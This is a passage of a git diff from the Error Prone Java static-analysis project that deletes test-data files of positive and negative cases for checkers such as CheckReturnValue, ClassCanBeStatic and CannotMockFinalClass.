array_precededByByteBufferAllocate_inSplitMethodChain_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.allocate(1).put((byte) 'a'); - buffer.array(); - } - - public void array_immediatelyPrecededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() - throws Exception { - ByteBuffer.allocate(0).array(); - } - - void array_precededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() { - ByteBuffer.allocate(Long.SIZE / Byte.SIZE).putLong(1L).array(); - } - - byte[] array_inMethodChain_precededByByteBufferAllocate_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.allocate(1); - return buffer.put(new byte[] {1}).array(); - } - - class A { - // Ideally, this case should be flagged though. - void array_inMethodChain_whereByteBufferIsNotAtStartOfChain_isNotFlagged() { - A helper = new A(); - helper.getBuffer().put((byte) 1).array(); - } - - ByteBuffer getBuffer() { - return null; - } - } - - class B { - ByteBuffer buffer = ByteBuffer.allocate(1); - - void array_precededByByteBufferAllocate_inField_isNotFlagged() { - buffer.array(); - } - } - - class C { - ByteBuffer buffer = ByteBuffer.allocate(1); - - class A { - void array_precededByByteBufferAllocate_inFieldOfParentClass_isNotFlagged() { - buffer.array(); - } - } - } - - class ArrayInFieldPrecededByByteBufferAllocateInFieldIsNotFlagged { - ByteBuffer buffer = ByteBuffer.allocate(1); - byte[] array = buffer.array(); - } - - void array_inAnonymousClass_precededByByteBufferAllocate_isNotFlagged() { - final ByteBuffer buffer = ByteBuffer.allocate(0); - - new Function() { - @Override - public Object apply(Object o) { - buffer.array(); - return null; - } - }; - } - - void array_inLambdaExpression_precededByByteBufferAllocate_isNotFlagged() { - final ByteBuffer buffer = ByteBuffer.allocate(0); - - Function f = - (Void unused) -> { - buffer.array(); - return null; - }; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java deleted file mode 100644 index 018ad1f508a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; -import java.nio.ByteBuffer; - -/** Positive cases for {@link ByteBufferBackingArrayTest}. */ -public class ByteBufferBackingArrayPositiveCases { - - public void array_notPrecededByOffsetNorValidInitializer_asLocalVariable_isFlagged() { - ByteBuffer buff = null; - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - - class A { - - ByteBuffer buff = null; - - void array_notPrecededByOffsetNorValidInitializer_asField_isFlagged() { - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - } - - class ArrayCalledInFieldNotPrecededByOffsetNorValidInitializerAsFieldIsFlagged { - ByteBuffer buffer = null; - // BUG: Diagnostic contains: ByteBuffer.array() - byte[] array = buffer.array(); - } - - void array_notPrecededByOffsetNorValidInitializer_asMethodParameter_isFlagged(ByteBuffer buffer) { - // BUG: Diagnostic contains: ByteBuffer.array() - buffer.array(); - } - - void array_followedByWrap_isFlagged() { - ByteBuffer buff = null; - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - buff = ByteBuffer.wrap(new byte[] {1}); - } - - void array_followedByAllocate_isFlagged() { - ByteBuffer buff = null; - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - buff = ByteBuffer.allocate(1); - } - - void array_precededByAllocateDirect_isFlagged() { - ByteBuffer buff = null; - buff = ByteBuffer.allocateDirect(1); - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - - void array_precededByAllocateOnAnotherBuffer_isFlagged() { - ByteBuffer otherBuff = ByteBuffer.allocate(1); - ByteBuffer buff = null; - otherBuff.arrayOffset(); - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - - void array_precededByNotAValidMethod_isFlagged() { - ByteBuffer buff = null; - buff.position(); - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java deleted file mode 100644 index 700533d1b8b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; -import org.mockito.Mock; -import org.mockito.Mockito; - -/** Test for CannotMockFinalClass. */ -@RunWith(JUnit4.class) -public class CannotMockFinalClassNegativeCases { - static class NonFinalClass {} - - @Mock NonFinalClass okToMock; - - public void method() { - NonFinalClass local = Mockito.mock(NonFinalClass.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java deleted file mode 100644 index f727d8eb984..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import org.mockito.Mock; -import org.mockito.Mockito; - -/** Test for CannotMockFinalClass in the absence of @RunWith(JUnit4.class). */ -public class CannotMockFinalClassNegativeCases2 { - static final class FinalClass {} - - @Mock FinalClass impossible; - - public void method() { - FinalClass local = Mockito.mock(FinalClass.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java deleted file mode 100644 index eb536f36ba0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; -import org.mockito.Mock; -import org.mockito.Mockito; - -/** Test for CannotMockFinalClass. */ -@RunWith(JUnit4.class) -public class CannotMockFinalClassPositiveCases { - static final class FinalClass {} - - // BUG: Diagnostic contains: Mockito cannot mock - @Mock FinalClass impossible; - - public void method() { - // BUG: Diagnostic contains: Mockito cannot mock - FinalClass local = Mockito.mock(FinalClass.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java deleted file mode 100644 index c35eea5d4d1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertAbout; -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ChainedAssertionLosesContextNegativeCases { - static final class FooSubject extends Subject { - private final Foo actual; - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - static Factory foos() { - return FooSubject::new; - } - - static FooSubject assertThat(Foo foo) { - return assertAbout(foos()).that(foo); - } - } - - void someTestMethod() { - assertThat("").isNotNull(); - } - - private static final class Foo { - final String string; - final int integer; - - Foo(String string, int integer) { - this.string = string; - this.integer = integer; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Foo otherFoo() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java deleted file mode 100644 index 2307edaf4ba..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java +++ /dev/null @@ -1,108 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertAbout; -import static com.google.common.truth.Truth.assertWithMessage; -import static com.google.common.truth.Truth.assert_; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; -import com.google.common.truth.Truth; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ChainedAssertionLosesContextPositiveCases { - static final class FooSubject extends Subject { - private final Foo actual; - - static Factory foos() { - return FooSubject::new; - } - - static FooSubject assertThat(Foo foo) { - return assertAbout(foos()).that(foo); - } - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - void hasString(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - Truth.assertThat(actual.string()).isEqualTo(expected); - } - - void hasOtherFooInteger(int expected) { - // BUG: Diagnostic contains: - // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) - Truth.assertThat(actual.otherFoo().integer()).isEqualTo(expected); - } - - FooSubject otherFooAbout() { - // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) - return assertAbout(foos()).that(actual.otherFoo()); - } - - FooSubject otherFooThat() { - // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) - return assertThat(actual.otherFoo()); - } - - void withMessage(String expected) { - // BUG: Diagnostic contains: - // check("string()").withMessage("blah").that(actual.string()).isEqualTo(expected) - assertWithMessage("blah").that(actual.string()).isEqualTo(expected); - } - - void withMessageWithArgs(String expected) { - // BUG: Diagnostic contains: - // check("string()").withMessage("%s", "blah").that(actual.string()).isEqualTo(expected) - assertWithMessage("%s", "blah").that(actual.string()).isEqualTo(expected); - } - - void plainAssert(String expected) { - // BUG: Diagnostic contains: - // check("string()").that(actual.string()).isEqualTo(expected) - assert_().that(actual.string()).isEqualTo(expected); - } - } - - private static final class Foo { - final String string; - final int integer; - - Foo(String string, int integer) { - this.string = string; - this.integer = integer; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Foo otherFoo() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java deleted file mode 100644 index c113286e895..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.File; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ChainingConstructorIgnoresParameterNegativeCases { - static class ImplicitThisCall { - ImplicitThisCall() {} - - ImplicitThisCall(String foo) {} - } - - static class ExplicitNoArgThisCall { - ExplicitNoArgThisCall() {} - - ExplicitNoArgThisCall(String foo) { - this(); - } - } - - static class ParameterNotAvailable { - ParameterNotAvailable(String foo, boolean bar) {} - - ParameterNotAvailable(String foo) { - this(foo, false); - } - } - - static class ParameterDifferentType { - ParameterDifferentType(File foo) {} - - ParameterDifferentType(String foo) { - this(new File("/tmp")); - } - } - - static class ParameterUsedInExpression { - ParameterUsedInExpression(String foo, boolean bar) {} - - ParameterUsedInExpression(String foo) { - this(foo.substring(0), false); - } - } - - /** Make sure that we don't confuse a nested class's constructor with the containing class's. */ - static class HasNestedClass { - HasNestedClass(String foo) { - this("somethingElse", false); - } - - static class NestedClass { - NestedClass(String foo, boolean bar) {} - } - - HasNestedClass(String notFoo, boolean bar) {} - } - - static class HasNestedClassesWithSameName { - static class Outer1 { - static class Inner { - Inner(String foo, boolean bar) {} - } - } - - static class Outer2 { - static class Inner { - Inner(String foo) { - this("somethingElse", false); - } - - Inner(String notFoo, boolean bar) {} - } - } - } - - class NonStaticClass { - NonStaticClass(String foo, boolean bar) {} - - NonStaticClass(String foo) { - this(foo, false); - } - } - - static class Varargs1 { - Varargs1(String foo, boolean... bar) {} - - Varargs1() { - this("something", false, false); - } - } - - static class Varargs2 { - Varargs2(String foo, boolean... bar) {} - - Varargs2() { - this("something"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java deleted file mode 100644 index 7973b1ee4a5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CheckReturnValue; -import java.util.function.Supplier; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class CheckReturnValueNegativeCases { - - public void test1() { - test2(); - Object obj = new String(); - obj.toString(); - } - - @SuppressWarnings("foo") // wrong annotation - public void test2() {} - - @CheckReturnValue - private int mustCheck() { - return 5; - } - - private int nothingToCheck() { - return 42; - } - - private void callRunnable(Runnable runnable) { - runnable.run(); - } - - private void testNonCheckedCallsWithMethodReferences() { - Object obj = new String(); - callRunnable(String::new); - callRunnable(this::test2); - callRunnable(obj::toString); - } - - private void callSupplier(Supplier supplier) { - supplier.get(); - } - - public void testResolvedToIntLambda(boolean predicate) { - callSupplier(() -> mustCheck()); - callSupplier(predicate ? () -> mustCheck() : () -> nothingToCheck()); - } - - public void testMethodReference(boolean predicate) { - callSupplier(this::mustCheck); - callSupplier(predicate ? this::mustCheck : this::nothingToCheck); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java deleted file mode 100644 index ec4f808b92a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java +++ /dev/null @@ -1,195 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CheckReturnValue; -import org.junit.rules.ExpectedException; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class CheckReturnValuePositiveCases { - - IntValue intValue = new IntValue(0); - - @CheckReturnValue - private int increment(int bar) { - return bar + 1; - } - - public void foo() { - int i = 1; - // BUG: Diagnostic contains: The result of `increment(...)` must be used - // - // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. - // - // If callers of `increment(...)` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - increment(i); - System.out.println(i); - } - - public void bar() { - // BUG: Diagnostic contains: this.intValue = this.intValue.increment() - this.intValue.increment(); - } - - public void testIntValue() { - IntValue value = new IntValue(10); - // BUG: Diagnostic contains: value = value.increment() - value.increment(); - } - - private void callRunnable(Runnable runnable) { - runnable.run(); - } - - public void testResolvedToVoidLambda() { - // BUG: Diagnostic contains: - callRunnable(() -> this.intValue.increment()); - } - - public void testResolvedToVoidMethodReference(boolean predicate) { - // BUG: Diagnostic contains: The result of `increment()` must be used - // - // `this.intValue::increment` acts as an implementation of `Runnable.run` - // -- which is a `void` method, so it doesn't use the result of `increment()`. - // - // To use the result, you may need to restructure your code. - // - // If you really don't want to use the result, then switch to a lambda that assigns it to a - // variable: `() -> { var unused = ...; }`. - // - // If callers of `increment()` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - callRunnable(this.intValue::increment); - // BUG: Diagnostic contains: The result of `increment()` must be used - callRunnable(predicate ? this.intValue::increment : this.intValue::increment2); - } - - public void testConstructorResolvedToVoidMethodReference() { - // BUG: Diagnostic contains: The result of `new MyObject()` must be used - // - // `MyObject::new` acts as an implementation of `Runnable.run` - // -- which is a `void` method, so it doesn't use the result of `new MyObject()`. - // - // To use the result, you may need to restructure your code. - // - // If you really don't want to use the result, then switch to a lambda that assigns it to a - // variable: `() -> { var unused = ...; }`. - // - // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - callRunnable(MyObject::new); - } - - public void testRegularLambda() { - callRunnable( - () -> { - // BUG: Diagnostic contains: - this.intValue.increment(); - }); - } - - public void testBeforeAndAfterRule() { - // BUG: Diagnostic contains: - new IntValue(1).increment(); - ExpectedException.none().expect(IllegalStateException.class); - new IntValue(1).increment(); // No error here, last statement in block - } - - public void constructor() { - // BUG: Diagnostic contains: The result of `new MyObject()` must be used - new MyObject() {}; - - class MySubObject1 extends MyObject {} - - class MySubObject2 extends MyObject { - MySubObject2() {} - } - - class MySubObject3 extends MyObject { - MySubObject3() { - super(); - } - } - - // BUG: Diagnostic contains: The result of `new MyObject()` must be used - // - // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. - // - // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - new MyObject(); - } - - private class IntValue { - final int i; - - public IntValue(int i) { - this.i = i; - } - - @javax.annotation.CheckReturnValue - public IntValue increment() { - return new IntValue(i + 1); - } - - public void increment2() { - // BUG: Diagnostic contains: - this.increment(); - } - - public void increment3() { - // BUG: Diagnostic contains: - increment(); - } - } - - private static class MyObject { - @CheckReturnValue - MyObject() {} - } - - private abstract static class LB1 {} - - private static class LB2 extends LB1 { - - @CheckReturnValue - public static LB2 lb1() { - return new LB2(); - } - - public static LB2 lb2() { - // BUG: Diagnostic contains: - lb1(); - return lb1(); - } - } - - private static class JavaxAnnotation { - @javax.annotation.CheckReturnValue - public static int check() { - return 1; - } - - public static void ignoresCheck() { - // BUG: Diagnostic contains: - check(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java deleted file mode 100644 index 7b9ab57e4c2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticNegativeCases { - int outerVar; - - public int outerMethod() { - return 0; - } - - public static class Inner1 { // inner class already static - int innerVar; - } - - public class Inner2 { // inner class references an outer variable - int innerVar = outerVar; - } - - public class Inner3 { // inner class references an outer variable in a method - int localMethod() { - return outerVar; - } - } - - public class Inner4 { // inner class references an outer method in a method - int localMethod() { - return outerMethod(); - } - } - - // outer class is a nested but non-static, and thus cannot have a static class - class NonStaticOuter { - int nonStaticVar = outerVar; - - class Inner5 {} - } - - // inner class is local and thus cannot be static - void foo() { - class Inner6 {} - } - - // inner class is anonymous and thus cannot be static - Object bar() { - return new Object() {}; - } - - // enums are already static - enum Inner7 { - RED, - BLUE, - VIOLET, - } - - // outer class is a nested but non-static, and thus cannot have a static class - void baz() { - class NonStaticOuter2 { - int nonStaticVar = outerVar; - - class Inner8 {} - } - } - - // inner class references a method from inheritance - public interface OuterInter { - int outerInterMethod(); - } - - abstract static class AbstractOuter implements OuterInter { - class Inner8 { - int localMethod() { - return outerInterMethod(); - } - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java deleted file mode 100644 index 5711455f1d5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase1.java +++ /dev/null @@ -1,31 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticPositiveCase1 { - - int outerVar; - - // Non-static inner class that does not use outer scope - // BUG: Diagnostic contains: static class Inner1 - class Inner1 { - int innerVar; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java deleted file mode 100644 index 626c07e3194..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase2.java +++ /dev/null @@ -1,37 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticPositiveCase2 { - - int outerVar1; - int outerVar2; - - // Outer variable overridden - // BUG: Diagnostic contains: private /* COMMENT */ static final class Inner2 - private /* COMMENT */ final class Inner2 { - int outerVar1; - int innerVar = outerVar1; - - int localMethod(int outerVar2) { - return outerVar2; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java deleted file mode 100644 index 9a222b61d25..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticPositiveCase3.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticPositiveCase3 { - - static int outerVar; - - // Nested non-static inner class inside a static inner class - static class NonStaticOuter { - int nonStaticVar = outerVar; - // BUG: Diagnostic contains: public static class Inner3 - public class Inner3 {} - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java deleted file mode 100644 index dbcda5316b2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterNegativeCases.java +++ /dev/null @@ -1,70 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package com.google.errorprone.bugpatterns.testdata; - -import java.util.ArrayList; -import java.util.Collection; -import java.util.HashSet; - -/** - * @author mariasam@google.com (Maria Sam) on 6/27/17. - */ -public class CollectionToArraySafeParameterNegativeCases { - - private void basicCase() { - Collection collection = new ArrayList(); - Collection collInts = new ArrayList(); - - Object[] intArrayActualNoParam = collInts.toArray(); - Integer[] intArrayActual = collInts.toArray(new Integer[collection.size()]); - - Collection collectionObjects = new ArrayList<>(); - Integer[] intArrayObjects = collectionObjects.toArray(new Integer[collectionObjects.size()]); - - Integer[] arrayOfInts = new Integer[10]; - Integer[] otherArray = collInts.toArray(arrayOfInts); - - Collection> collectionOfCollection = new ArrayList>(); - Collection[] collectionOfCollectionArray = - collectionOfCollection.toArray(new ArrayList[10]); - - SomeObject someObject = new SomeObject(); - Integer[] someObjectArray = someObject.toArray(new Integer[1]); - - // test to make sure that when the collection has no explicit type there is no error thrown - // when "toArray" is called. - Collection someObjects = new ArrayList(); - Object[] intArray = someObjects.toArray(new Integer[1]); - } - - class FooBar extends HashSet {} - - void testFooBar(FooBar fooBar) { - Integer[] things = fooBar.toArray(new Integer[] {}); - } - - class Foo extends HashSet {} - - void test(Foo foo) { - String[] things = foo.toArray(new String[] {}); - } - - class SomeObject { - Integer[] toArray(Integer[] someArray) { - return new Integer[10]; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java deleted file mode 100644 index 052959d9f77..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CollectionToArraySafeParameterPositiveCases.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You 